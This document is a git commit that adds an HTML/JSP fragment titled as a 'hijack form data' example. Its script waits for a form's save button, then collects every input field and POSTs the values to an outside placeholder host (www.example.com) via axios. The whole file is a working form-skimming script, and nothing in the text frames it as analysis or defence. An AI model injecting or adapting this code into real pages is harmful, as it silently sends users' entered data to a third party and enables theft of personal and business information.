aexiaoliou 1 year ago
parent
commit
2493fec38a
1 changed files with 56 additions and 0 deletions
  1. 56 0
      劫持表单数据示例.html

+ 56 - 0
劫持表单数据示例.html

@@ -0,0 +1,56 @@
+<%
+%>
+<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
+<script type="text/javascript">
+//此处添加js代码
+console.log('脚本载入成功')
+
+let __formData = {}
+$('#sysModelingXform :input').each(function() {
+  var name = $(this).attr('name')
+  var value = $(this).val()
+  __formData[name] = value
+})
+console.log("检查表单", __formData);
+
+// 定义一个全局变量来存储定时器标识符
+let intervalId;
+
+// 停止定时器
+function stopInterval() {
+  clearInterval(intervalId);
+}
+
+// 检查元素是否存在
+function checkElement() {
+  // 查找标题为保存的元素
+  var element = $('div[title="保存"]');
+  if (element.length > 0) {
+    console.log('找到保存元素:', element);
+    // 在该元素添加一个点击事件获取数据并推送到指定服务器
+    element.on('click', () => {
+		console.log('上传服务器')
+		__formData = {}
+		$('#sysModelingXform :input').each(function() {
+  			var name = $(this).attr('name')
+  			var value = $(this).val()
+  			__formData[name] = value
+		})
+		console.log('表单数据', __formData)
+		axios({
+			method: 'post',
+			url: 'https://www.example.com',
+			data: __formData
+		})
+		// debugger
+	})
+    stopInterval(); // 找到元素后停止定时器
+  }
+}
+
+// 页面加载时没有该元素,轮询直到找到
+intervalId = setInterval(checkElement, 500); // 每半秒检查一次
+
+
+</script>
+